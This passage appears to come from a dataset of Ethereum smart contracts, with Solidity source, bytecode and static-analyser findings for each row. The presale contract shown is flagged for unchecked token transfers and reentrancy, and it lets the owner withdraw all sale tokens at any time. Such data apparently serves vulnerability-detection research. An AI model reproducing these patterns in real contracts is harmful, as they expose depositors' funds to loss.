function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Shinobi_TitaniumX is Ownable {
using SafeMath for uint256;
IERC20 public token;
IERC20 public tokenWhitelist;
struct Tier{
uint256 requiredWhitelistTokenAmount;
uint256 maxDeposit;
uint256 minDeposit;
}
struct UserInfo {
uint256 deposit;
bool withdawn;
}
mapping(uint256 => Tier) public tiers;
mapping(address => UserInfo) public userInfo;
uint256 public _TOTAL_SOLD_TOKEN;
uint256 public _TOTAL_DEPOSIT;
uint256 public _RATE;
uint256 public _CAP_SOFT;
uint256 public _CAP_HARD;
uint256 public _TIME_START;
uint256 public _TIME_END;
uint256 public _TIME_RELEASE;
bool public _PUBLIC_SALE = false;
receive() external payable {
deposit();
}
function ownerWithdrawETH() public onlyOwner{
require(block.timestamp > _TIME_END, "Presale haven't finished yet");
require(_TOTAL_DEPOSIT >= _CAP_SOFT, "Presale didn't hit softcap");
payable(msg.sender).transfer(address(this).balance);
}
function ownerWithdrawToken() public onlyOwner{
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function setTokenForPresale(address _tokenAddress) public onlyOwner{
token = IERC20(_tokenAddress);
}
function setTokenForWhitelist(address _tokenAddress) public onlyOwner{
tokenWhitelist = IERC20(_tokenAddress);
}
function setupTier(uint256 tierId, uint256 requiredWhitelistTokenAmount, uint256 maxDeposit, uint256 minDeposit) public onlyOwner{
require(tierId <=3, "There are 3 tiers");
tiers[tierId].requiredWhitelistTokenAmount = requiredWhitelistTokenAmount;
tiers[tierId].minDeposit = minDeposit;
tiers[tierId].maxDeposit = maxDeposit;
}
function setupPresale(uint256 start, uint256 end, uint256 release, uint256 rate, uint256 softcap, uint256 hardcap) public onlyOwner{
_RATE = rate;
_CAP_SOFT = softcap;
_CAP_HARD = hardcap;
_TIME_START = start;
_TIME_END = end;
_TIME_RELEASE = release;
}
function openSalePubicly(bool opened) public onlyOwner {
_PUBLIC_SALE = opened;
}
function deposit() public payable {
uint256 tier = 0;
uint256 balanceOfWhitelistToken = tokenWhitelist.balanceOf(msg.sender);
if(balanceOfWhitelistToken >= tiers[3].requiredWhitelistTokenAmount){
tier = 3;
}else if(balanceOfWhitelistToken >= tiers[2].requiredWhitelistTokenAmount){
tier = 2;
}else if(balanceOfWhitelistToken >= tiers[1].requiredWhitelistTokenAmount){
tier = 1;
}
require(block.timestamp >= _TIME_START && block.timestamp <= _TIME_END, "Presale is not active this time");
if(!_PUBLIC_SALE){
require(tier > 0, "This wallet is not allowed to join the launchpad");
require(msg.value >= tiers[tier].minDeposit, "Please check minimum amount contribution");
require(userInfo[msg.sender].deposit.add(msg.value) <= tiers[tier].maxDeposit, "Check max contribution per wallet");
}else {
// Open publicly, tier 0
require(msg.value >= tiers[0].minDeposit, "Please check minimum amount contribution");
require(userInfo[msg.sender].deposit.add(msg.value) <= tiers[0].maxDeposit, "Check max contribution per wallet");
}
require(_TOTAL_DEPOSIT.add(msg.value) <= _CAP_HARD, "Exceed HARD CAP");
userInfo[msg.sender].deposit = userInfo[msg.sender].deposit.add(msg.value);
_TOTAL_DEPOSIT = _TOTAL_DEPOSIT.add(msg.value);
_TOTAL_SOLD_TOKEN = _TOTAL_DEPOSIT.mul(_RATE).mul(10**token.decimals()).div(10**18);
}
function withdraw() public {
require(block.timestamp > _TIME_END, "Presale haven't finished yet");
require(!userInfo[msg.sender].withdawn, "Already withdawn!");
if(_TOTAL_DEPOSIT < _CAP_SOFT){
if(userInfo[msg.sender].deposit > 0){
payable(msg.sender).transfer(userInfo[msg.sender].deposit);
userInfo[msg.sender].withdawn = true;
}
}else {
require(block.timestamp > _TIME_RELEASE, "Please check token release time");
token.transfer(msg.sender, userInfo[msg.sender].deposit.mul(_RATE).mul(10**token.decimals()).div(10**18));
userInfo[msg.sender].withdawn = true;
}
}
} | 0x60806040526004361061016a5760003560e01c80636e0ca4aa116100d1578063c39fee711161008a578063e4fe15d411610064578063e4fe15d414610412578063edc35ba91461043c578063f2fde38b1461045c578063fc0c546a1461047c57600080fd5b8063c39fee71146103d4578063ca735cc1146103ea578063d0e30db01461040a57600080fd5b80636e0ca4aa1461032b578063715018a61461034b5780638910c092146103605780638da5cb5b14610376578063981e21c9146103a8578063b25ec61b146103be57600080fd5b806338583d071161012357806338583d071461028a5780633ccfd60b146102a05780633f81aad1146102b55780634e004706146102d557806351c61df2146102f55780636400b5141461030b57600080fd5b8063039af9eb1461017e5780630b895c51146101da5780631959a002146101ef57806327a910dc1461023b5780632cb713221461025057806337117b7f1461027457600080fd5b366101795761017761049c565b005b600080fd5b34801561018a57600080fd5b506101ba61019936600461123b565b60036020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060015b60405180910390f35b3480156101e657600080fd5b50610177610916565b3480156101fb57600080fd5b5061022661020a366004611254565b6004602052600090815260409020805460019091015460ff1682565b604080519283529015156020830152016101d1565b34801561024757600080fd5b50610177610a46565b34801561025c57600080fd5b5061026660095481565b6040519081526020016101d1565b34801561028057600080fd5b5061026660075481565b34801561029657600080fd5b50610266600b5481565b3480156102ac57600080fd5b50610177610b41565b3480156102c157600080fd5b506101776102d0366004611254565b610df3565b3480156102e157600080fd5b506101776102f036600461128b565b610e3f565b34801561030157600080fd5b50610266600c5481565b34801561031757600080fd5b506101776103263660046112a8565b610e7c565b34801561033757600080fd5b506101776103463660046112da565b610f0b565b34801561035757600080fd5b50610177610f4f565b34801561036c57600080fd5b5061026660085481565b34801561038257600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101d1565b3480156103b457600080fd5b50610266600a5481565b3480156103ca57600080fd5b5061026660055481565b3480156103e057600080fd5b5061026660065481565b3480156103f657600080fd5b50600254610390906001600160a01b031681565b61017761049c565b34801561041e57600080fd5b50600d5461042c9060ff1681565b60405190151581526020016101d1565b34801561044857600080fd5b50610177610457366004611254565b610fc3565b34801561046857600080fd5b50610177610477366004611254565b61100f565b34801561048857600080fd5b50600154610390906001600160a01b031681565b6002546040516370a0823160e01b815233600482015260009182916001600160a01b03909116906370a082319060240160206040518083038186803b1580156104e457600080fd5b505afa1580156104f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051c919061131d565b600360008190526020527fcbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af54909150811061055a57600391506105cc565b600260005260036020527fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d54811061059557600291506105cc565b600160005260036020527fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c5481106105cc57600191505b600a5442101580156105e05750600b544211155b6106315760405162461bcd60e51b815260206004820152601f60248201527f50726573616c65206973206e6f742061637469766520746869732074696d650060448201526064015b60405180910390fd5b600d5460ff1661072357600082116106a45760405162461bcd60e51b815260206004820152603060248201527f546869732077616c6c6574206973206e6f7420616c6c6f77656420746f206a6f60448201526f1a5b881d1a19481b185d5b98da1c185960821b6064820152608401610628565b6000828152600360205260409020600201543410156106d55760405162461bcd60e51b815260040161062890611336565b60008281526003602090815260408083206001015433845260049092529091205461070090346110f9565b111561071e5760405162461bcd60e51b81526004016106289061137e565b6107c7565b6000805260036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92f015434101561076d5760405162461bcd60e51b815260040161062890611336565b7f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92f0054336000908152600460205260409020546107a990346110f9565b11156107c75760405162461bcd60e51b81526004016106289061137e565b6009546006546107d790346110f9565b11156108175760405162461bcd60e51b815260206004820152600f60248201526e045786365656420484152442043415608c1b6044820152606401610628565b3360009081526004602052604090205461083190346110f9565b3360009081526004602052604090205560065461084e90346110f9565b60068190555061090f670de0b6b3a7640000610909600160009054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b157600080fd5b505afa1580156108c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e991906113bf565b6108f490600a6114dc565b60075460065461090391611161565b90611161565b906111e0565b6005555050565b6000546001600160a01b031633146109405760405162461bcd60e51b8152600401610628906114eb565b6001546040516370a0823160e01b81523060048201526001600160a01b039091169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561098d57600080fd5b505afa1580156109a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c5919061131d565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190611520565b50565b6000546001600160a01b03163314610a705760405162461bcd60e51b8152600401610628906114eb565b600b544211610ac15760405162461bcd60e51b815260206004820152601c60248201527f50726573616c6520686176656e27742066696e697368656420796574000000006044820152606401610628565b6008546006541015610b155760405162461bcd60e51b815260206004820152601a60248201527f50726573616c65206469646e27742068697420736f66746361700000000000006044820152606401610628565b60405133904780156108fc02916000818181858888f19350505050158015610a43573d6000803e3d6000fd5b600b544211610b925760405162461bcd60e51b815260206004820152601c60248201527f50726573616c6520686176656e27742066696e697368656420796574000000006044820152606401610628565b3360009081526004602052604090206001015460ff1615610be95760405162461bcd60e51b8152602060048201526011602482015270416c726561647920776974686461776e2160781b6044820152606401610628565b6008546006541015610c64573360009081526004602052604090205415610c62573360008181526004602052604080822054905181156108fc0292818181858888f19350505050158015610c41573d6000803e3d6000fd5b503360009081526004602052604090206001908101805460ff191690911790555b565b600c544211610cb55760405162461bcd60e51b815260206004820152601f60248201527f506c6561736520636865636b20746f6b656e2072656c656173652074696d65006044820152606401610628565b6001546040805163313ce56760e01b815290516001600160a01b039092169163a9059cbb913391610d7591670de0b6b3a76400009161090991879163313ce56791600480820192602092909190829003018186803b158015610d1657600080fd5b505afa158015610d2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4e91906113bf565b610d5990600a6114dc565b6007543360009081526004602052604090205461090391611161565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610dbb57600080fd5b505af1158015610dcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c419190611520565b6000546001600160a01b03163314610e1d5760405162461bcd60e51b8152600401610628906114eb565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e695760405162461bcd60e51b8152600401610628906114eb565b600d805460ff1916911515919091179055565b6000546001600160a01b03163314610ea65760405162461bcd60e51b8152600401610628906114eb565b6003841115610eeb5760405162461bcd60e51b8152602060048201526011602482015270546865726520617265203320746965727360781b6044820152606401610628565b600093845260036020526040909320918255600282019290925560010155565b6000546001600160a01b03163314610f355760405162461bcd60e51b8152600401610628906114eb565b600792909255600855600955600a92909255600b55600c55565b6000546001600160a01b03163314610f795760405162461bcd60e51b8152600401610628906114eb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610fed5760405162461bcd60e51b8152600401610628906114eb565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110395760405162461bcd60e51b8152600401610628906114eb565b6001600160a01b03811661109e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080611106838561153d565b9050838110156111585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b90505b92915050565b6000826111705750600061115b565b600061117c8385611555565b9050826111898583611574565b146111585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b60008082116112315760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f0000000000006044820152606401610628565b6111588284611574565b60006020828403121561124d57600080fd5b5035919050565b60006020828403121561126657600080fd5b81356001600160a01b038116811461115857600080fd5b8015158114610a4357600080fd5b60006020828403121561129d57600080fd5b81356111588161127d565b600080600080608085870312156112be57600080fd5b5050823594602084013594506040840135936060013592509050565b60008060008060008060c087890312156112f357600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b60006020828403121561132f57600080fd5b5051919050565b60208082526028908201527f506c6561736520636865636b206d696e696d756d20616d6f756e7420636f6e746040820152673934b13aba34b7b760c11b606082015260800190565b60208082526021908201527f436865636b206d617820636f6e747269627574696f6e207065722077616c6c656040820152601d60fa1b606082015260800190565b6000602082840312156113d157600080fd5b815160ff8116811461115857600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611433578160001904821115611419576114196113e2565b8085161561142657918102915b93841c93908002906113fd565b509250929050565b60008261144a5750600161115b565b816114575750600061115b565b816001811461146d576002811461147757611493565b600191505061115b565b60ff841115611488576114886113e2565b50506001821b61115b565b5060208310610133831016604e8410600b84101617156114b6575081810a61115b565b6114c083836113f8565b80600019048211156114d4576114d46113e2565b029392505050565b600061115860ff84168361143b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561153257600080fd5b81516111588161127d565b60008219821115611550576115506113e2565b500190565b600081600019048311821515161561156f5761156f6113e2565b500290565b60008261159157634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220cb2d125745963ead6cd0be008abfd288ec2ff060162c9be4b3574ed975bb153c64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 870 |
0xc71f5fc5ef5974fe23aa1372b89b0a34e4ab30f4 | pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/YST.sol
contract YSToken is StandardToken {
string public name = "Yu Shi Token";
string public symbol = "YST";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 500000000000000000000000000;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610368565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103ce565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103d4565b3480156101dd57600080fd5b50610195610549565b3480156101f257600080fd5b506101fb61054f565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610558565b34801561024157600080fd5b50610195600160a060020a0360043516610647565b34801561026257600080fd5b506100d3610662565b34801561027757600080fd5b5061016c600160a060020a03600435166024356106bd565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561079c565b3480156102bf57600080fd5b50610195600160a060020a0360043581169060243516610835565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a0383166000908152602081905260408120548211156103f957600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042957600080fd5b600160a060020a038316151561043e57600080fd5b600160a060020a038416600090815260208190526040902054610467908363ffffffff61086016565b600160a060020a03808616600090815260208190526040808220939093559085168152205461049c908363ffffffff61087216565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104de908363ffffffff61086016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b60055460ff1681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083106105ac57336000908152600260209081526040808320600160a060020a03881684529091528120556105e1565b6105bc818463ffffffff61086016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b336000908152602081905260408120548211156106d957600080fd5b600160a060020a03831615156106ee57600080fd5b3360009081526020819052604090205461070e908363ffffffff61086016565b3360009081526020819052604080822092909255600160a060020a03851681522054610740908363ffffffff61087216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107d0908363ffffffff61087216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561086c57fe5b50900390565b8181018281101561087f57fe5b929150505600a165627a7a72305820be21f5327c840c0396d6bb2cfddf64359d051e9c54137797cabcc60d335baaee0029 | {"success": true, "error": null, "results": {}} | 871 |
0x7216025D547b3C31d1dC294B3d2B9690283BA02a | /**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
